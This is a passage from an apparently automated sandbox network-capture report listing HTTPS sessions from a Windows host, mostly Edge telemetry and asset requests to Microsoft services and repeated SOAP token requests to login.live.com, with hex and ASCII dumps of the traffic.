2024-11-21 21:09:42 UTC	4556	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 31 3a 30 39 3a 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-21T21:09:31Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-11-21 21:09:42 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f091cc6e2d14478abd4397a1161a5e31&HASH=f091&LV=202411&V=4&LU=1732223382662; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 21:09:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e5e02d19809d4725b75e2da1911acd9f; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 21:39:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 11662 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 21:09:41 GMT Connection: close
2024-11-21 21:09:42 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 66 30 39 31 63 63 36 65 32 64 31 34 34 37 38 61 62 64 34 33 39 37 61 31 31 36 31 61 35 65 33 31 26 48 41 53 48 3d 66 30 39 31 26 4c 56 3d 32 30 32 34 31 31 26 56 3d 34 26 4c 55 3d 31 37 33 32 32 32 33 33 38 32 36 36 32 22 2c 22 6d 63 31 22 3a 22 66 30 39 31 63 63 36 65 32 64 31 34 34 37 38 61 62 64 34 33 39 37 61 31 31 36 31 61 35 65 33 31 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=f091cc6e2d14478abd4397a1161a5e31&HASH=f091&LV=202411&V=4&LU=1732223382662","mc1":"f091cc6e2d14478abd4397a1161a5e31"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49829	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:43 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:44 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9ae6ccbc-a01e-002e-3d59-3ce8c0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210943Z-178bfbc474bbbqrhhC1NYCvw74000000026000000000cvy9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:09:44 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49831	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 21:09:47 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:09:49 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:08:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BL2 x-ms-request-id: 8bf86b42-6e21-4f58-ad6c-7adcddad740a PPServer: PPV: 30 H: BL02EPF00027904 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:48 GMT Connection: close Content-Length: 11389
2024-11-21 21:09:49 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49832	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 21:09:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:09:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:08:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: ae7a2e7c-bed5-43ec-9a90-63f5c467d45e PPServer: PPV: 30 H: SN1PEPF0002F9C5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:51 GMT Connection: close Content-Length: 1918
2024-11-21 21:09:52 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49833	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 21:09:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:09:54 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:08:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: 7a05e8af-e893-4ef0-bc8d-f0099ed61b29 PPServer: PPV: 30 H: PH1PEPF00011F0A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:53 GMT Connection: close Content-Length: 1918
2024-11-21 21:09:54 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49834	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 21:09:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:09:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:08:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: d0c6bfae-6e08-46e9-a43d-aa7265ce1edd PPServer: PPV: 30 H: SN1PEPF0002F13F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:54 GMT Connection: close Content-Length: 11409
2024-11-21 21:09:55 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49835	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 21:09:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:09:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:08:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BAY x-ms-request-id: bb0c8069-8c9d-4611-b324-1132ca3cba0d PPServer: PPV: 30 H: PH1PEPF00011FD8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:57 GMT Connection: close Content-Length: 11409
2024-11-21 21:09:58 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49836	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:00 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
